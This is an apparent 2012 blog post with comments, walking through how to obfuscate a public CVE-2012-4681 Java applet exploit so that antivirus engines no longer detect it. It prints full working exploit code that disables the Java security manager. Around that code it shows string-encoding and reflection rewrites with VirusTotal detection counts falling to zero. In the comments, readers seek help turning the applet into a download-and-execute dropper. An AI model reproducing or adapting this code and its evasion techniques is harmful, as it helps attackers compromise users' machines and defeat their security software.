Java Exploit Code Obfuscation and Antivirus Bypass/Evasion (CVE-2012-4681)
Why not play a game where we try to make the latest (at time of writing) public java exploit (CVE-2012-4681) undetected by all antivirus and see who will be the last to detect it ?. I think it will be a funny "challenge" because evading antivirus has always his charm.
I will not use software obfuscators like proGuard, Allatori, Zelix KlassMaster etc... This because will not be funny. This is not intended to be an analysis or explanation because there are already great post here:
Before we start we need to make two considerations:
Who will be the last ? make your guess.
Let's start just copying the code from jduck poc taken from here: http://pastie.org/4594319. Upload compiled applet (.class file) to virustotal and we start with a detection of 23/43, first popular fall are from Kaspersky, McAfee, Panda.
Virustotal link here.
Full image here.
One important thing are strings, as you can see there are few of them, for example (sun.awt.SunToolkit, file://, forName etc..). On step to bring down detection is to obfuscate these strings. For example
sun.awt.SunToolkit will become a char array. There are a lot of other ways to obfuscate a string for example using StringBuilder, hex to ascii, decimal to ascii, string.replace and so on.
Once done, compile and reupload it again.
Virustotal link here.
Full image here.
Code here.
As you can see just obfuscating a bunch of strings can decrease antivirus detection. Twelve antivirus are out of the game, most notable defeats are from Microsoft, Symantec, TrendMicro and DrWeb.
Now we can clean a bit the code because we don't need functions like paint. In addition we change applet name from Gondvv to Java, merge code from setField with diableSecurity and have a function named disableSecurity is not a good thing. Now the code will look like this.
Once again compile and reupload.
Virustotal link here.
Full image here.
Ratio is 9/44, Avast and MicroWorld-eScan fall under a simple function/class renaming. Now we modify a bit the flow and renaming all variables, for example localPermissions will be pe. Once again reupload to virustotal.
Damn detection ratio still 9/44 (same picture above). How we can drop detection ? simple, do the same thing but in another way. When i try to make an exploit to be undetected by antivirus i start testing line by line following the flow of the exploit and see which line trigger some antivirus. In this case from line 32 we start triggering F-Secure.
Another tip is to remove some variables and see if detection ratio change, in this case if we remove Statement.class and substitute it with null detection will go from 9/44 to 7/44.
Virustotal link here.
Thus, can i retrieve Statement class in another way ? For sure and we have this method under our nose because instead of using other ways like Class.forname("Statment") we can use GimmeClass.
Reupload .class file to virustotal and let's see if that works.
Virustotal link here.
Full image here.
Code here.
Again we remove some part of the code to see where detection will change. If we delete last three lines of code detection will be 0/44. But these lines instantiate a class and call a method, how we can do this in another way ? Simple, we use reflection.
From Stackoverflow:
Before:
After:
First we check if the exploit works, to see if we messed up something, but no it works. Ok, now upload to virustotal and should be a nice 0/44 detection..
Virustotal link here.
Full image here.
Code here.
Damn we were so close. One antivirus detect our exploit. Guess who is back ?
Since it is the last to detect our exploit Microsoft Security Essentials is the winner of this small competition. This post can't end here because we want to made our exploit fully undetectable. Take a look at these two lines below.
Why not use reflection. Then become:
Once uploaded to virustotal detection ratio is ...
Virustotal Link here.
Full image here.
Code here.
Great! If we create a jar file it will be detected ?
Virustotal link here.
As class file it is not detected.
Now we can test it on a windows machine with security essentials installed to see if really works. To do this test i used Windows 8 which has windows defender (security essentilas) installed by default.
It works!. I now this can't proof anything (it's just a picture) but soon i will post a video about this. You can find the video here.
Hope you enjoyed.
Step by step java exploit code: 1/5, 2/5, 3/5, 4/5, 5/5.
References.
- Creating new class instances
- Invoking methods
- What are all the different ways to create an object in Java?
- How do I invoke a java method when given the method name as a string?
I will not use software obfuscators like proGuard, Allatori, Zelix KlassMaster etc... This because will not be funny. This is not intended to be an analysis or explanation because there are already great post here:
- http://immunityproducts.blogspot.com.ar/2012/08/java-0day-analysis-cve-2012-4681.html
- http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html
- http://www.h-online.com/security/features/The-new-Java-0day-examined-1677789.html
Before we start we need to make two considerations:
- From The Current Web-Delivered Java 0Day: So while you may see a few links to Virustotal with the inevitable complaining that a scanner is missing a specific chunk of altered code along with innaccurate claims that "AV is dead!" or "AV can't detect it", you should take them for the grain of salt that they are. The real story about client side mass exploitation is more complex than those claims.
- The sequence of bypassed antivirus mainly depends on how i modify the exploit/flow.
Last Antivirus Standing
Who will be the last ? make your guess.
Let's start just copying the code from jduck poc taken from here: http://pastie.org/4594319. Upload compiled applet (.class file) to virustotal and we start with a detection of 23/43, first popular fall are from Kaspersky, McAfee, Panda.
Virustotal link here.
Full image here.
One important thing are strings, as you can see there are few of them, for example (sun.awt.SunToolkit, file://, forName etc..). On step to bring down detection is to obfuscate these strings. For example
sun.awt.SunToolkit will become a char array. There are a lot of other ways to obfuscate a string for example using StringBuilder, hex to ascii, decimal to ascii, string.replace and so on.
// setSecurityManager String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34"; //sun.awt.SunToolkit char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'}; // file char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47}; // forName String ad = "or",me = "me", aw = "f", kl = "Na"; // getField String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567";
Once done, compile and reupload it again.
Virustotal link here.
Full image here.
Code here.
As you can see just obfuscating a bunch of strings can decrease antivirus detection. Twelve antivirus are out of the game, most notable defeats are from Microsoft, Symantec, TrendMicro and DrWeb.
Now we can clean a bit the code because we don't need functions like paint. In addition we change applet name from Gondvv to Java, merge code from setField with diableSecurity and have a function named disableSecurity is not a good thing. Now the code will look like this.
public class Java extends Applet { // setSecurityManager setSecurityManagerString secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34"; //sun.awt.SunToolkit char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'}; // file char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47}; // forName String ad = "or",me = "me", aw = "f", kl = "Na"; // getField String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; public void enableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, secMan.replaceAll("\\d",""), new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(new String(file)), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = Statement.class; arrayOfObject[1] = "a"+"c"+"c"; Expression localExpression = new Expression(GetClass(new String(sun)), field.replaceAll("\\d",""), arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(localStatement, localAccessControlContext); localStatement.execute(); } public void init() { try { enableSecurity(); Runtime.getRuntime().exec("calc"); } catch(Throwable t){} } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, aw+ad+kl+me, arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } }
Once again compile and reupload.
Virustotal link here.
Full image here.
Ratio is 9/44, Avast and MicroWorld-eScan fall under a simple function/class renaming. Now we modify a bit the flow and renaming all variables, for example localPermissions will be pe. Once again reupload to virustotal.
Damn detection ratio still 9/44 (same picture above). How we can drop detection ? simple, do the same thing but in another way. When i try to make an exploit to be undetected by antivirus i start testing line by line following the flow of the exploit and see which line trigger some antivirus. In this case from line 32 we start triggering F-Secure.
Another tip is to remove some variables and see if detection ratio change, in this case if we remove Statement.class and substitute it with null detection will go from 9/44 to 7/44.
Virustotal link here.
Thus, can i retrieve Statement class in another way ? For sure and we have this method under our nose because instead of using other ways like Class.forname("Statment") we can use GimmeClass.
Reupload .class file to virustotal and let's see if that works.
Virustotal link here.
Full image here.
Code here.
public class Java extends Applet { // setSecurityManager String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34"; //sun.awt.SunToolkit char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'}; // file char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47}; // forName String ad = "or",me = "me", aw = "f", kl = "Na"; // getField String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; public void enableSecurity() throws Throwable { Object ao[] = new Object[2]; ao[0] = GimmeClass("java.beans.Statement"); //Statement.class; ao[1] = "a"+"c"+"c"; Expression e = new Expression(GimmeClass(new String(sun)), field.replaceAll("\\d",""), ao); e.execute(); Field field = (Field)e.getValue(); Permissions pe = new Permissions(); pe.add(new AllPermission()); CodeSource cs = new CodeSource(new URL(new String(file)), new Certificate[0]); ProtectionDomain pd = new ProtectionDomain(cs, pe); AccessControlContext ac = new AccessControlContext(new ProtectionDomain[] { pd }); Statement stat = new Statement( System.class,secMan.replaceAll("\\d",""), new Object[1]); field.set(stat, ac); stat.execute(); } public void init() { try { enableSecurity(); Runtime.getRuntime().exec("calc"); } catch(Throwable t){} } private Class GimmeClass(String ps) throws Throwable { Expression le = new Expression(Class.class, aw+ad+kl+me, new Object[] {ps}); le.execute(); return (Class)le.getValue(); } }Now detection ration is 7/44 and AVG and ESET are gone.
Again we remove some part of the code to see where detection will change. If we delete last three lines of code detection will be 0/44. But these lines instantiate a class and call a method, how we can do this in another way ? Simple, we use reflection.
From Stackoverflow:
The name reflection is used to describe code which is able to inspect other code in the same system (or itself).Using java documentation from here and there, we instantiate a class and call two methods with reflection.
For example, say you have an object of an unknown type in Java, and you would like to call a 'doSomething' method on it if one exists. Java's static typing system isn't really designed to support this unless the object conforms to a known interface, but using reflection, your code can look at the object and find out if it has a method called 'doSomething', and then, call it if you want to.
Before:
Statement stat = new Statement( System.class,secMan.replaceAll("\\d",""), new Object[1]); field.set(stat, ac); stat.execute();
After:
Class statClass = GimmeClass("java.beans.Statement"); Constructor con = statClass.getConstructor(new Class[]{ Object.class, String.class, Object[].class}); Object stat = con.newInstance(GimmeClass("java.lang.System"),secMan.replaceAll("\\d",""), new Object[1]); field.set(stat, ac); Method m = stat.getClass().getMethod("execute"); m.invoke(stat);
First we check if the exploit works, to see if we messed up something, but no it works. Ok, now upload to virustotal and should be a nice 0/44 detection..
Virustotal link here.
Full image here.
Code here.
Since it is the last to detect our exploit Microsoft Security Essentials is the winner of this small competition. This post can't end here because we want to made our exploit fully undetectable. Take a look at these two lines below.
Permissions pe = new Permissions(); pe.add(new AllPermission());
Why not use reflection. Then become:
Class alPerm = Class.forName("java.security.AllPermission"); Class perm = GimmeClass("java.security.Permissions"); Object pe= perm.newInstance(); Method method = pe.getClass().getMethod("add", GimmeClass("java.security.Permission")); method.invoke(pe, alPerm.newInstance());
Once uploaded to virustotal detection ratio is ...
Virustotal Link here.
Full image here.
Code here.
Great! If we create a jar file it will be detected ?
Virustotal link here.
As class file it is not detected.
Now we can test it on a windows machine with security essentials installed to see if really works. To do this test i used Windows 8 which has windows defender (security essentilas) installed by default.
It works!. I now this can't proof anything (it's just a picture) but soon i will post a video about this. You can find the video here.
Hope you enjoyed.
Step by step java exploit code: 1/5, 2/5, 3/5, 4/5, 5/5.
References.
- Creating new class instances
- Invoking methods
- What are all the different ways to create an object in Java?
- How do I invoke a java method when given the method name as a string?
Good work, using reflection is a great idea. I did something similar some months ago with another java-exploit but didn't start with the source, just had a .jar from metasploit (yes, it's not totally open source). the first two virusscanners failed after I decompiled and recompiled ;)
ReplyDeleteThank you :), yes reflection is great way to obfuscate code. Similar story happened to with java rhino exploit, just changing few lines of code made it undetected by all av.
DeleteSo you need a license to make guns but you can write exploits freely...
ReplyDeleteexploits don't kill people
ReplyDeleteLast Antivirus Standing? More like Last Antivirus Manual File Scan Standing.
ReplyDeleteI would be much more impressed if you could provide a detection method which is immune to such code changes and has no false positives AND reasonable performance for a scan engine.
ReplyDeleteBTW, anyone with a clue how AV products works knows that VT testing is useless.
[citation needed]
DeleteIt seems that some AV were update...
ReplyDeleteYou mean this ?
Deletehttps://www.virustotal.com/file/62779b9d99042d50751514eb47502435b95d29427e3039c5380192ec1780b8b9/analysis/1353537320/
Now with a few changes is back to 0/43
https://www.virustotal.com/file/35de0a25a9be5964581707197583a8ea69af600011e57358cd2b1c27bc85db2a/analysis/1353537166/
Does not work on XP SP3 with Java 1.6.30 apparently.
ReplyDeleteThis exploit works only with Java 7.
DeleteSecurity Essentials has caught up with this, maybe they read your post? :)
ReplyDeletehttp://imgur.com/OshCj
After some silly changes it wasn't detected anymore. Apparently encoding the strings differently is enough.
DeleteYes, modify some strings is enough.
Deletecan someone pastebin a version to accept url please? or tell me how ?
ReplyDeleteWhat do you mean ? Passing parameters to Applet ? http://www.cafeaulait.org/course/week5/16.html
DeletePaste the url where you put the code exe
ReplyDeleteRuntime.getRuntime().exec("http://somedomain.com/calc.exe");
ReplyDeletedo you mean this? i think i tried this and it did not work.
anyone?
ReplyDeleteCheck my last post.
DeleteWhat do you mean ? Passing parameters to Applet ? http://www.cafeaulait.org/course/week5/16.html
ReplyDeletethat is your last post and i don't see the answer on how to add url .
I mean blog post: http://security-obscurity.blogspot.it/2012/12/attacking-windows-8-with-java-exploit.html
Delete